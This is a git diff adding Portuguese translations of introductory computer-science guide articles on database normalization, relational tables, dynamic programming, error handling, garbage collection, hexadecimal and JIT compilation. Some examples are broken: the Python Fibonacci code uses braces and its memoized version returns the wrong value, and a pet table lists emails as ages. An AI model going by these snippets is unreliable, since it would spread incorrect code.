+*   **3a forma normal** : A tabela está na segunda forma normal e todas as suas colunas não dependem transitivamente da chave primária. Diz-se que uma coluna depende de outra coluna, se puder ser derivada dela, por exemplo, a idade pode ser derivada do aniversário. Transitividade significa que essa dependência pode envolver outras colunas. por exemplo, se considerarmos três colunas `PersonID BodyMassIndex IsOverweight` , a coluna 'IsOverweight' é transitivamente dependente de 'personID' por meio de 'BodyMassIndex'.
+
+##### Exemplo
+
+Um design que viola a terceira forma normal. {Torneio, Ano} é a chave primária para a tabela e a coluna 'Vencedor Data de Nascimento' depende transitivamente dela.
+
+| Torneio | Ano | Vencedor | Data de nascimento do vencedor | | ---------------------- | ------------- | ------------ ---- | ---------------------- | | Indiana Invitational | 1998 | Al Fredrickson | 21 de julho de 1975 | | Cleveland Open | 1999 | Bob Albertson | 28 de setembro de 1968 | | Des Moines Masters | 1999 | Al Fredrickson | 21 de julho de 1975 | | Indiana Invitational | 1999 | Chip Masterson | 14 de março de 1977 |
+
+Um projeto compatível com a terceira forma normal seria:
+
+| Torneio | Ano | Vencedor |  
+| ---------------------- | ------------- | ------------ ---- | | Indiana Invitational | 1998 | Al Fredrickson | | Cleveland Open | 1999 | Bob Albertson | | Des Moines Masters | 1999 | Al Fredrickson | | Indiana Invitational | 1999 | Chip Masterson |
+
+| Vencedor | Data de Nascimento | | ---------------- | ------------------- | | Chip Masterson | 14 de março de 1977 | | Al Fredrickson | 21 de julho de 1975 | | Bob Albertson | 28 de setembro de 1968 |
+
+#### Mais Informações:
+
+*   normalização de banco de dados na [wikipedia](https://en.wikipedia.org/wiki/Database_normalization)
+*   primeira forma normal na [wikipedia](https://en.wikipedia.org/wiki/First_normal_form)
+*   segunda forma normal na [wikipedia](https://en.wikipedia.org/wiki/Second_normal_form)
+*   terceira forma normal na [wikipedia](https://en.wikipedia.org/wiki/Third_normal_form)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/relational-databases/index.md b/client/src/guide/portuguese/computer-science/databases/relational-databases/index.md
new file mode 100644
index 0000000000..2186320b96
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/relational-databases/index.md
@@ -0,0 +1,51 @@
+---
+title: Relational Databases
+localeTitle: Bancos de dados relacionais
+---
+Como um banco de dados é uma maneira de armazenar dados, os bancos de dados relacionais são um modelo de como os dados estão sendo armazenados. Os dados são organizados em tabelas, também conhecidas como relações. As tabelas contêm um registro para cada instância dos dados, conhecidos como registros ou tuplas. Identificadores exclusivos identificam cada registro para descrevê-lo no banco de dados.
+
+## Tabelas
+
+Como a folha no excel, as tabelas são compostas de colunas e linhas. Cada linha é uma instância de dados com atributos na coluna da tabela conhecida como campos. Pode haver várias tabelas para cada categoria para entidades. Um exemplo poderia ser uma tabela de usuários. Cada linha seria um usuário e cada campo seria detalhes sobre o usuário, como e-mail, senha e detalhes de contato para esse usuário específico. Na Figura 1 você pode ver o diagrama do exemplo.
+
+| | usuário | email | Telefone | | ------------- | ------------ | ------------------ | --- ----------------------------------- | | fila 1 | Jerry | j@j.uk.za | 771447444121 | | fila 2 | Sally | batgirl@gh.co.za | 771447444121 | | fileira 3 | Alex | samwis@tty.fe | 771447444121 | | linha 4 | Doug | 4sure@dam.us | 745151515152 |
+
+Figura 1 - Exemplo de tabela de usuários.
+
+## Registros
+
+Um registro é uma entidade única de dados. Como no exemplo acima, pode ser um usuário, uma conta, um dispositivo ou qualquer coisa que os dados possam representar. Os registros precisam de um identificador exclusivo, às vezes chamado de chave. Essa chave deve ser exclusiva, pois é usada para descrever os relacionamentos que um registro possui com outros registros em outras tabelas. Na Figura 1, podemos adicionar chaves a cada linha que identifica cada usuário com uma chave e a tabela agora se parece com a Figura 2.
+
+| CHAVE | usuário | email | Telefone | | ----------- | ------------ | ------------------ | ----- --------------------------------- | | u1 | Jerry | j@j.uk.za | 771447444121 | | u2 | Sally | batgirl@gh.co.za | 771447444121 | | u3 | Alex | samwis@tty.fe | 771447444121 | | u4 | Doug | 4sure@dam.us | 745151515152 |
+
+Figura 2 - Exemplo de banco de dados do usuário com o campo KEY.
+
+## Campos
+
+Campos descrevem o registro. Isso poderia conter qualquer informação sobre a entidade que o registro simboliza. Na Figura 3 você pode ver uma tabela que mostra animais de estimação. As colunas (campos) descrevem cada pet (registro) com p\_nome, p\_age, p\_type e p\_owner. O p é uma abreviação de pet e a última coluna será explicada na próxima seção sobre relacionamentos.
+
+| CHAVE | p\_nome | p\_age | p\_owner | | ----------- | ------------ | ------------------ | ----- ---------- | | p1 | Suzy | j@j.uk.za | u1 | | p2 | Little Dip | batgirl@gh.co.za | u1 | | p3 | Amillë | samwis@tty.fe | u2 | | p4 | Doug | 4sure@dam.us | u3 |
+
+Figura 3 - Exemplo da tabela Pet.
+
+## Relacionamentos
+
+Os bancos de dados relacionais permitem descrever as relações que as entidades têm umas com as outras. Às vezes, esse é o tópico mais difícil dos bancos de dados relacionais para entender. Se tomarmos nossas tabelas de exemplo, poderemos ver o relacionamento que nossa tabela de usuários tem com a tabela de pet. Se você ler o campo p\_owner, pode ver que também pode ser como na Figura 4. Isso explica a relação que cada animal de estimação tem com um usuário. O relacionamento pode ter tipos diferentes.
+
+| CHAVE | p\_nome | p\_age | p\_owner | | ----------- | ------------ | ------------------ | ----- ---------- | | p1 | Suzy | j@j.uk.za | Jerry | | p2 | Little Dip | batgirl@gh.co.za | Jerry | | p3 | Amillë | samwis@tty.fe | Sally | | p4 | Doug | 4sure@dam.us | Doug |
+
+Figura 4 - Exemplo de tabela Pet com o campo do proprietário vinculado.
+
+Um relacionamento um-para-muitos é um registro ligado a muitos outros registros, sendo o exemplo o usuário Jerry ter dois animais de estimação. Também poderia ser um relacionamento muitos-para-muitos, em que as tabelas poderiam ser livros e autores, já que os autores poderiam co-escrever muitos livros. Finalmente, o tipo de relacionamento mais comum é o de um para um, um registro que pode ser vinculado a apenas um, e apenas um, outro registro.
+
+## Conclusão
+
+Esta é apenas uma breve introdução aos bancos de dados relacionais. Abaixo, links são fornecidos para recursos que podem ajudá-lo a estudar o assunto.
+
+#### Mais Informações:
+
+*   Bancos de dados relacionais na [wikipedia](https://en.wikipedia.org/wiki/Relational_database)
+*   Um-para-muitos na [wikipedia](https://en.wikipedia.org/wiki/One-to-many_(data_model) )
+*   Muitos-para-muitos na [wikipedia](https://en.wikipedia.org/wiki/Many-to-many_(data_model) )
+*   Um a um na [wikipedia](https://en.wikipedia.org/wiki/One-to-one_(data_model) )
+*   Modelo de relacionamento na [wikipedia](https://en.wikipedia.org/wiki/Entity%E2%80%93relationship_model)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/distribued-algorithms/index.md b/client/src/guide/portuguese/computer-science/distribued-algorithms/index.md
new file mode 100644
index 0000000000..d1e54881b4
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/distribued-algorithms/index.md
@@ -0,0 +1,9 @@
+---
+title: Ditributed Algorithms
+localeTitle: Algoritmos Ditribuídos
+---
+## Algoritmos Distribuídos
+
+Algoritmos distribuídos é o estudo de algoritmos que correm em mais de um processador. O objetivo de tais algoritmos é utilizar a paralelização para alcançar a aceleração. Algumas aplicações de algoritmos distribuídos seriam em processadores multicore e clusters de computadores.
+
+Ao estudar algoritmos distribuídos em teoria, o sistema distribuído é modelado para alcançar um nível abstrato independente de diferentes implementações e sistemas. Dois modelos comuns são o modelo de passagem de mensagens e o modelo de memória compartilhada. Na transmissão de mensagens, cada processo (processo e processadores são normalmente usados ​​de maneira intercambiável), comunicados por meio de mensagens que ele envia e recebe de e para outros processos. No modelo de memória compartilhada, os processos se comunicam acessando uma memória compartilhada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/dynamic-programming/index.md b/client/src/guide/portuguese/computer-science/dynamic-programming/index.md
new file mode 100644
index 0000000000..1c76a13224
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/dynamic-programming/index.md
@@ -0,0 +1,51 @@
+---
+title: Dynamic Programming
+localeTitle: Programaçao dinamica
+---
+## Programaçao dinamica
+
+A Programação Dinâmica (DP) é uma técnica de programação para resolver problemas onde os cálculos de seus subproblemas se sobrepõem: você escreve seu programa de uma maneira que evita recomputar problemas já solucionados. Essa técnica, geralmente, é aplicada em conjunto com o memoization, que é uma técnica de otimização em que você armazena em cache resultados previamente calculados e retorna o resultado em cache quando o mesmo cálculo é necessário novamente.
+
+Um exemplo com a série de Fibonacci que é definida como:
+
+`F(N) = F(N-1) + F(N-2)`
+
+Esta é a árvore para encontrar F (5):
+
+![Árvore da série de Fibonacci](https://i.stack.imgur.com/59Rpw.png)
+
+Para calcular F (5), será necessário calcular muitas vezes o mesmo F (i). Usando recursão:
+
+```python
+def fib(n) 
+ { 
+    if n <= 1: 
+        return n 
+    return fib(n-1) + fib(n-2); 
+ } 
+```
+
+E abaixo está a solução otimizada (usando DP)
+
+Para F (5), esta solução irá gerar as chamadas representadas na imagem acima, rodando em O (2 ^ N).
+
+Aqui está uma solução otimizada que usa DP e memoização:
+
+```python
+lookup = {1 : 1, 2 : 1} # Create a lookup-table (a map) inizialized with the first 2 Fibonacci's numbers 
+ 
+ def fib(n) 
+ { 
+    if n in lookup: # If n is already computed 
+        return n # Return the previous computed solution 
+    else 
+        lookup[n] = fib(n-1) + fib(n-2) # Else, do the recursion. 
+    return lookup[n] 
+ } 
+```
+
+Armazenar em cache as soluções computadas em uma tabela de consulta e consultá-la antes da recursão permitirá que o programa tenha um tempo de execução de O (N).
+
+#### Mais Informações:
+
+[O que é programação dinâmica no StackOverflow?](https://stackoverflow.com/questions/1065433/what-is-dynamic-programming) [Diferença entre memoization e DP no StackOverflow](https://stackoverflow.com/questions/6184869/what-is-the-difference-between-memoization-and-dynamic-programming)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/error-handling/index.md b/client/src/guide/portuguese/computer-science/error-handling/index.md
new file mode 100644
index 0000000000..2c19756921
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/error-handling/index.md
@@ -0,0 +1,26 @@
+---
+title: Error Handling
+localeTitle: Tratamento de erros
+---
+## Tratamento de erros
+
+O tratamento de erros e, em uma extensão maior, o tratamento de exceções, são funções / métodos escritos para retornar informações importantes sobre a manipulação de dados. O tratamento de erros é frequentemente usado junto com promessas e retornos de chamada. O tratamento de erros é uma coisa muito importante que todo desenvolvedor deve se preocupar ao programar. Aqui vou explicar como lidar com erros que ocorrem em tempo de execução usando blocos try-catch com um exemplo em programas C #. As instruções try-catch estão disponíveis em todas as principais linguagens de programação com sintaxe semelhante.
+
+### Como o bloco try-catch funciona.
+
+A instrução try-catch consiste em um bloco **try** e um bloco **catch** e um bloco **finally** opcional. Código que poderia lançar uma exceção deve ser colocado no bloco try. O bloco catch leva a exceção que poderia ser lançada como um parâmetro e, em seguida, lida com essa exceção dentro do bloco. Durante o tempo de execução, o código no bloco try é executado pela primeira vez. Se uma exceção for lançada, ela será lançada no bloco de captura a ser manipulado. Se não houver nenhum bloco catch, o programa exibirá um erro de exceção não tratada e interromperá a execução. Vários blocos catch são usados ​​se o código no bloco try puder lançar mais de uma exceção. Há também um opcional **finalmente** bloco que irá executar o código nele, independentemente de haver ou não uma exceção é lançada.
+
+Abaixo está um exemplo de programa que manipula a divisão por exceção zero usando classe predefinida na biblioteca C #. Exceção é a classe base para todas as exceções.
+
+`c# using System; namespace ErrorHandling { class DivideByZero { int result; DivideByZero() { result = 0; } public void division(int num1, int num2) { try { result = num1 / num2; } catch (DivideByZeroException e) { Console.WriteLine("Exception caught: {0}", e); } catch(Exception ex) { Console.WriteLine("Exception caught: {0}", ex); } finally { Console.WriteLine("Result: {0}", result); } } static void Main(string[] args) { DivideByZero d = new DivideByZero(); d.division(10, 0); Console.ReadKey(); } } }`
+
+*   No programa acima, passar 0 como segundo parâmetro irá lançar DivideByZeroExceptions.
+    
+*   Essa exceção será manipulada pelo bloco catch que possui a classe DivideByZeroException. Se qualquer exceção diferente de DivideByZeroExceptions ocorrer, elas serão tratadas pelo bloco catch de exceção.
+    
+    Exceção é a classe base para todas as classes de exceções disponíveis na biblioteca C #. Mesmo se você quiser escrever sua própria exceção, você precisa herdar a classe base Exception em seu programa.
+    
+
+#### Mais Informações:
+
+https://quizlet.com/135129010/computer-science-error-handling-flash-cards/ https://en.wikipedia.org/wiki/Exception\_handling
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/evented-servers/index.md b/client/src/guide/portuguese/computer-science/evented-servers/index.md
new file mode 100644
index 0000000000..e986cef947
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/evented-servers/index.md
@@ -0,0 +1,19 @@
+---
+title: Evented Servers
+localeTitle: Servidores Evented
+---
+## Servidores Evented
+
+Os servidores de eventos executam um único loop de eventos que manipula eventos para todos os clientes conectados. Isso se opõe aos servidores encadeados, que usam vários encadeamentos em execução simultânea, em que cada encadeamento manipula uma solicitação do cliente.
+
+Em termos simples, os servidores Evented têm apenas um thread principal que é compartilhado entre todas as solicitações do cliente. O que é especial em servidores Evented é o fato de que eles podem priorizar o trabalho que precisa ser feito com as solicitações dos clientes. Nós vamos ilustrar isso com um exemplo.
+
+Digamos que você seja o proprietário de uma empresa de táxi (que seja conhecido como o Servidor) e você tenha pessoas ligando para sua empresa (que sejam conhecidas como Clientes) que desejam organizar uma coleta (permita que elas sejam conhecidas como Solicitações). Você contrata operadores (deixe-os serem conhecidos como Processos / Threads) para receber pedidos dos Clientes. Sua lógica de negócios afirma que seu operador deve permanecer na linha até que um motorista de táxi tenha sido despachado para o cliente. Então, essencialmente, você gostaria de contratar tantos operadores quanto a quantidade de motoristas de táxi que você pode despachar.
+
+Com um servidor Evented, há apenas um operador que é capaz de obter os detalhes de retirada dos clientes, mas sabe que deve ligar para o cliente de volta assim que o taxista tiver sido despachado para ele.
+
+Esses tipos de servidores usam retornos de chamada para informar aos clientes quando suas solicitações foram tratadas.
+
+#### Mais Informações:
+
+[Arquitetura com direção uniforme na Wikipedia](https://en.wikipedia.org/wiki/Event-driven_architecture)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/garbage-collection/index.md b/client/src/guide/portuguese/computer-science/garbage-collection/index.md
new file mode 100644
index 0000000000..3ae8302289
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/garbage-collection/index.md
@@ -0,0 +1,47 @@
+---
+title: Garbage Collection
+localeTitle: Coleta de lixo
+---
+## Coleta de lixo
+
+#### O que é a coleta de lixo?
+
+Em termos gerais, a coleta de lixo (GC) não é nada além de coletar ou recuperar a memória que foi alocada aos objetos, o que não está em uso no momento em nenhuma parte de nosso programa. Uma breve descrição como abaixo.
+
+A coleta de lixo é o processo no qual os programas tentam liberar espaço de memória que não é mais usado por objetos, e assim por diante. A coleta de lixo é implementada de maneira diferente para todos os idiomas. A maioria das linguagens de programação de alto nível tem algum tipo de coleta de lixo. Linguagens de programação de baixo nível podem adicionar a coleta de lixo por meio de bibliotecas.
+
+Como dito acima, toda linguagem de programação tem seu próprio jeito de GC. Na programação C, os desenvolvedores precisam cuidar da alocação e desalocação de memória usando as funções malloc () e dealloc (). Mas, no caso de desenvolvedores de C #, não é necessário cuidar do GC e também não é recomendado.
+
+\#### Como a alocação de memória está acontecendo? Em C #, a alocação de memória de objetos ocorre no heap gerenciado. que cuida do CLR (common language runtime). Alocação de memória para o heap é feito através de dll win32 no sistema operacional como como no C. Mas, em objetos C são colocados na memória onde sempre o espaço livre se adapte ao tamanho do objeto. E o mapeamento de memória é baseado em conceitos de Linkedlist. Em C #, a alocação de memória para heap está acontecendo de maneira linear. como um após o outro.
+
+Sempre que um novo objeto está sendo criado. Uma memória é alocada no heap e o ponteiro é movido para o próximo endereço de memória. A alocação de memória em C # é mais rápida que a C. Já que em C a memória precisa procurar e alocar para o objeto. então vai demorar um pouco mais que o C #.
+
+\#### Gerações em C # GC? Na programação do .net, o heap tem três gerações chamadas de geração 0, 1, 2. A geração 0 é preenchida primeiro sempre que um novo objeto é criado. Garbage collector executado quando a Geração 0 é preenchida. objetos recém-criados são colocados na Geração 0. Ao executar a coleta de lixo, todos os objetos indesejados são destruídos, a memória é liberada e compactada. O GC cuida de apontar os ponteiros da memória liberada quando o GC acontecer.
+
+Gerações 1 e 2 tem objeto que tem o tempo de vida mais longo. O GC nas gerações 1 e 2 não acontecerá até que as gerações 0 tenham memória suficiente para alocar.
+
+Não é aconselhável invocar o GC programaticamente. É bom deixar isso acontecer sozinho. GC recebe uma chamada sempre que a geração 0 é preenchida. O GC não afetará o desempenho do seu programa.
+
+A coleta de lixo é o processo no qual os programas tentam liberar espaço de memória que não é mais usado por variáveis, objetos e outros. A coleta de lixo é implementada de maneira diferente para todos os idiomas. A maioria das linguagens de programação de alto nível possui algum tipo de coleta de lixo embutido. Linguagens de programação de baixo nível podem adicionar coleta de lixo através de bibliotecas.
+
+A coleta de lixo é uma ferramenta que economiza tempo para o programador, por exemplo, substitui a necessidade de funções como malloc () e free () que são encontradas em C. Também pode ajudar na prevenção de vazamentos de memória.
+
+A desvantagem da coleta de lixo é que ela tem um impacto negativo no desempenho. O programa deve executar regularmente o programa, verificando as referências de objetos e limpando a memória - isso demanda recursos e geralmente requer que o programa faça uma pausa.
+
+Se um objeto não tiver referências (não estiver mais acessível), ele será elegível para coleta de lixo. Por exemplo, no código Java abaixo, o objeto Thing originalmente referenciado por 'thing1' tem sua única referência redirecionada para outro objeto no heap - ele é, então, inacessível e terá sua memória não alocada pelo coletor de lixo.
+
+```java
+class Useless { 
+  public static void main (String[] args) { 
+  Thing thing1 = new Thing(); 
+  Thing thing2 = new Thing(); 
+  thing2 = thing1; // direct thing2's reference towards thing1 
+                   // no references access thing2 
+ } } 
+```
+
+Um exemplo de coleta de lixo é o ARC, abreviação de contagem automática de referência. Isso é usado no Swift, por exemplo. O ARC se resume a manter o controle das referências a todos os objetos criados. Se a quantidade de referências cair para 0, o objeto será marcado para desalocação.
+
+#### Mais Informações:
+
+*   https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals - Para saber mais sobre a coleta de lixo
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/hexcode/index.md b/client/src/guide/portuguese/computer-science/hexcode/index.md
new file mode 100644
index 0000000000..10c6db4696
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/hexcode/index.md
@@ -0,0 +1,88 @@
+---
+title: Hexadecimal Numbers
+localeTitle: Números hexadecimais
+---
+## O sistema numérico hexadecimal
+
+Números hexadecimais, muitas vezes abreviados para "números hexadecimais" ou "hexadecimais", são números representados na base 16 em oposição à base 10 que usamos para a aritmética e contagem diária.
+
+Em termos práticos, isso significa que cada coluna de um número escrito em hexadecimal pode representar até 16 valores.
+
+Os dígitos em hexadecimal usam os símbolos padrão 0, 1, 2, 3, 4, 5, 6, 7, 8 e 9 para representar o valor correspondente, e use as seis primeiras letras do alfabeto para representar os valores de 10 a 15 (EG: A, B, C, D, E, F).
+
+Na programação, prefixamos constantes hexadecimais com `0x` , com algumas exceções.
+
+### Exemplos e explicação
+```
+0x1        ==        1 
+ 0xF        ==        15 
+ 0xFF       ==        255 
+ 0xFFF      ==        4095 
+ 0x1000     ==        4096 
+```
+
+No sistema padrão de base 10, cada coluna representa potências crescentes de 10, enquanto na base 16 cada coluna representa potências crescentes de 16.
+
+Como visto no exemplo da tabela acima, com um dígito hexadecimal, podemos representar números até e inclusive 15. Adicione outra coluna e podemos representar números até 255, 4095 com outra coluna e assim por diante.
+
+## Usos do Hexadecimal na Programação de Baixo Nível
+
+Hexadecimal primeiro encontrou seu uso na Ciência da Computação como um recurso de conveniência.
+
+Os dados em nossos computadores têm uma unidade de armazenamento comum mais baixa, o Byte. Cada byte contém 8 bits e é capaz de armazenar um número entre 0 e 255, inclusive.
+
+O hexadecimal tem a vantagem de ser conciso e ter limites bem definidos.
+
+Um único byte é sempre representado por dois dígitos hexadecimais de 0x00 para 0xFF, sendo este último o maior valor por byte de 255.
+
+A natureza tersual e alinhada por bytes de números hexadecimais os torna uma escolha popular para engenheiros de software que trabalham em bases de código de baixo nível ou software incorporado.
+
+## Usos de números hexadecimais em JavaScript
+
+JavaScript suporta o uso de notação hexadecimal no lugar de qualquer inteiro, mas não decimais.
+
+Por exemplo, o número 2514 em hexadecimal é 0x9D2, mas não há nenhum modo suportado por idioma de representar 25.14 como um número hexadecimal.
+
+Usar hexadecimal no seu código é uma escolha pessoal e estilística e não tem efeito na lógica subjacente implementada pelo seu código.
+
+## Usos de números hexadecimais em CSS
+
+O CSS usa há muito tempo a notação hexadecimal para representar valores de cores. Considere o seguinte seletor:
+
+```css
+.my-container { 
+    background-color: #112233; 
+    color: #FFFFFF; 
+ } 
+```
+
+O valor da `background-color` é, na verdade, três bytes hexadecimais.
+
+O processador CSS trata estes como três bytes individuais, representando Vermelho, Verde e Azul.
+
+Em nosso exemplo, 11 corresponde ao componente de cor vermelha, 22 corresponde ao componente de cor verde e 33 ao componente de cor azul.
+
+Atualmente, não há como CSS3 definir uma cor com um componente alfa usando hexadecimal. O rascunho 1 proposto do CSS4 inclui uma proposta para permitir um byte extra para especificar valores alfa.
+
+Por enquanto, o uso da função `rgba()` padrão é a maneira recomendada de adicionar um valor alfa às suas cores.
+
+#### Mais Informações:
+
+*   [Sistema Numeral Hexadecimal na Wikipédia](https://wikipedia.org/wiki/Hexadecimal_numeral_system)
+*   [Cor CSS nos documentos da Web MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
+
+#### Referências:
+
+*   1 [Módulo de Cor CSS Nível 4 - 4.2. As notações hexadecimais RGB: #RRGGBB](https://www.w3.org/TR/css-color-4/#hex-notation)
+
+#### Mais Informações:
+
+*   [Como funcionam os códigos de cores HEX? (em 60 segundos)](https://www.youtube.com/watch?v=c56x1aj2CPA) - Good Video, que também explica um pouco sobre Números Hexadecimais.
+*   [Códigos hexadecimais e teoria da cor](https://www.youtube.com/watch?v=xlRiLSDdqcY) - Um vídeo mais longo que investiga a teoria das cores (como o que são cores aditivas e quais são as cores subtrativas etc.) e também aponta para outros recursos para se aprofundar no tópico.
+*   [Web Colors](https://en.wikipedia.org/wiki/Web_colors) - Wikipedia Artigo sobre como as cores são usadas na web.
+*   [Artigo da Wikipedia sobre o código hexadecimal](https://en.wikipedia.org/wiki/Hexadecimal)
+*   [Artigo da Wikipedia sobre cores da web](https://en.wikipedia.org/wiki/Web_colors)
+*   [Cores hexadecimais](http://www.color-hex.com/)
+*   [Artigo médio sobre código de cores hexadecimal](https://medium.com/webkul-dev/hex-color-codes-27cd0a37c3ce)
+*   [Mais informações sobre cores em CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value)
+*   [Explore diferentes cores hexadecimais](http://www.colorhexa.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/index.md b/client/src/guide/portuguese/computer-science/index.md
new file mode 100644
index 0000000000..83d290f550
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/index.md
@@ -0,0 +1,39 @@
+---
+title: Computer Science
+localeTitle: Ciência da Computação
+---
+## Ciência da Computação
+
+Ciência da Computação é o estudo de computadores e os conceitos que tornam os computadores possíveis.
+
+Grande parte da ciência da computação foi pioneira na segunda metade do século XX.
+
+Hoje, se você participar de um curso de graduação em ciência da computação, aprenderá sobre hardware e software. Você aprenderá como os computadores funcionam em um nível baixo de abstração (linguagem de máquina) e em um alto nível de abstração (linguagens de script modernas como JavaScript).
+
+# Campos de Ciência da Computação
+
+A ciência da computação é categorizada em vários campos. A seguir estão os campos atuais estabelecidos e bem estudados. A maioria dos campos é categorizada em sub-campos.
+
+*   [Teoria da Computação](https://en.wikipedia.org/wiki/Theory_of_computation)
+*   Teoria da Complexidade
+*   Métodos Formais
+*   Algoritmos Distribuídos
+*   [Segurança](https://en.wikipedia.org/wiki/Computer_security)
+*   Criptografia
+*   [Inteligência artificial](https://en.wikipedia.org/wiki/Artificial_intelligence)
+*   Mineração de dados
+*   Aprendizado de Máquina
+*   Visão computacional
+*   [Engenharia de software](https://en.wikipedia.org/wiki/Software_engineering)
+*   [Ciências de dados](https://en.wikipedia.org/wiki/Data_science)
+*   Big Data
+*   [Interação Humano-Computador](https://en.wikipedia.org/wiki/Human%E2%80%93computer_interaction)
+*   Interface do computador do cérebro
+*   Sistemas
+*   Sistemas distribuídos
+*   Sistemas operacionais
+*   Sistemas de banco de dados
+
+## Mais Informações
+
+[Visualização de estruturas de dados](http://www.cs.usfca.edu/~galles/JavascriptVisual/Algorithms.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/interpreters/index.md b/client/src/guide/portuguese/computer-science/interpreters/index.md
new file mode 100644
index 0000000000..63308ad88a
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/interpreters/index.md
@@ -0,0 +1,23 @@
+---
+title: Interpreters
+localeTitle: Intérpretes
+---
+## Intérpretes
+
+Intérpretes são um tipo de tradutor. Os intérpretes usam o código fonte - código escrito em JavaScript, Python e outros idiomas. Então eles traduzem em código que o computador entende.
+
+Este código traduzido é código binário. Não é nada além de 1s e 0s. Os intérpretes traduzem o código-fonte linha por linha, enquanto executam o código binário. O programa será executado até que o intérprete encontre erros no código-fonte. Então, ele irá parar de traduzir / executar o programa e sinalizar os erros.
+
+Para comparar, os compiladores convertem todo o código-fonte de uma só vez em código binário e, em seguida, executam o código binário.
+
+#### Mais Informações:
+
+["A Gentler Introduction to Programming" de Matt Adesanya](https://medium.freecodecamp.org/a-gentler-introduction-to-programming-707453a79ee8) compara compiladores e intérpretes e introduz outros conceitos básicos de programação.
+
+Alguns Idiomas Interpretados:
+
+*   [Python](https://en.wikipedia.org/wiki/Python_(programming_language))
+*   [JavaScript](https://en.wikipedia.org/wiki/JavaScript)
+*   [Rubi](https://en.wikipedia.org/wiki/Ruby_(programming_language))
+*   [Adiante](https://en.wikipedia.org/wiki/Forth_(programming_language))
+*   [Perl](https://en.wikipedia.org/wiki/Perl)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/just-in-time-compilation/index.md b/client/src/guide/portuguese/computer-science/just-in-time-compilation/index.md
new file mode 100644
index 0000000000..08623a8114
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/just-in-time-compilation/index.md
@@ -0,0 +1,64 @@
+---
+title: Just in Time Compilation
+localeTitle: Just in Time Compilation
+---
+## Just in Time Compilation
+
+A compilação just-in-time é um método para melhorar o desempenho de programas interpretados. Durante a execução, o programa pode ser compilado em código nativo para melhorar seu desempenho. Também é conhecido como compilação dinâmica.
+
+A compilação dinâmica tem algumas vantagens sobre a compilação estática. Ao executar aplicativos Java ou C #, o ambiente de tempo de execução pode criar o perfil do aplicativo enquanto ele está sendo executado. Isso permite que códigos mais otimizados sejam gerados. Se o comportamento do aplicativo for alterado enquanto estiver em execução, o ambiente de tempo de execução poderá recompilar o código.
+
+Algumas das desvantagens incluem atrasos de inicialização e a sobrecarga de compilação durante o tempo de execução. Para limitar a sobrecarga, muitos compiladores JIT compilam apenas os caminhos de código que são usados ​​com freqüência.
+
+### Visão geral
+
+Tradicionalmente, existem dois métodos para converter o código-fonte em um formulário que pode ser executado em uma plataforma. A compilação estática converte o código em uma linguagem para uma plataforma específica. Um intérprete executa diretamente o código fonte.
+
+Compilação JIT tenta usar os benefícios de ambos. Enquanto o programa interpretado está sendo executado, o compilador JIT determina o código usado com mais freqüência e o compila para código de máquina. Dependendo do compilador, isso pode ser feito em um método ou seção menor de código.
+
+A compilação dinâmica foi descrita pela primeira vez em um artigo de J. McCarthy no LISP em 1960.
+
+Just In Time Compilation, JIT ou Dynamic Translation, é uma compilação que está sendo feita durante a execução de um programa. Significado, em tempo de execução, ao contrário de antes da execução. O que acontece é a tradução para o código da máquina. As vantagens de um JIT se devem ao fato de que, como a compilação ocorre em tempo de execução, um compilador JIT tem acesso a informações dinâmicas de tempo de execução, permitindo que ele faça otimizações melhores (como funções inline).
+
+O que é importante entender sobre a compilação JIT é que ela irá compilar o bytecode em instruções de código de máquina da máquina em execução. Isso significa que o código de máquina resultante é otimizado para a arquitetura de CPU da máquina em execução.
+
+Dois exemplos de Compiladores JIT são: JVM (Java Virtual Machine) em Java e CLR (Common Language Runtime), em C #.
+
+## JIT significa Just-in-Time, o que significa que o código é compilado quando necessário, não antes do tempo de execução.
+
+No começo, um compilador era responsável por transformar uma linguagem de alto nível (definida como nível superior a assembler) em código de objeto (instruções de máquina), que seria então vinculada (por um linker) a um executável.
+
+Em um ponto da evolução das linguagens, os compiladores compilariam uma linguagem de alto nível em pseudo-código, que então seria interpretado (por um intérprete) para executar seu programa. Isso eliminou o código-objeto e os executáveis ​​e permitiu que esses idiomas fossem portáveis ​​para vários sistemas operacionais e plataformas de hardware. Pascal (que compilou para o P-Code) foi um dos primeiros; Java e C # são exemplos mais recentes. Eventualmente, o termo P-Code foi substituído por bytecode, uma vez que a maioria das pseudooperações são longas.
+
+Um compilador Just-In-Time (JIT) é um recurso do interpretador de tempo de execução que, em vez de interpretar bytecode toda vez que um método é invocado, compilará o bytecode nas instruções de código de máquina do executável e invocará esse código. código de objeto em vez disso. Idealmente, a eficiência da execução do código objeto superará a ineficiência de recompilar o programa toda vez que ele for executado.
+
+Um compilador JIT é executado depois que o programa é iniciado e compila o código (geralmente bytecode ou algum tipo de instruções de VM) rapidamente (ou just-in-time, como é chamado) em um formulário que normalmente é mais rápido, normalmente conjunto de instruções. Um JIT tem acesso a informações de tempo de execução dinâmicas, enquanto um compilador padrão não faz e pode fazer otimizações melhores, como funções inline que são usadas com freqüência.
+
+Isso está em contraste com um compilador tradicional que compila todo o código para a linguagem de máquina antes que o programa seja executado pela primeira vez.
+
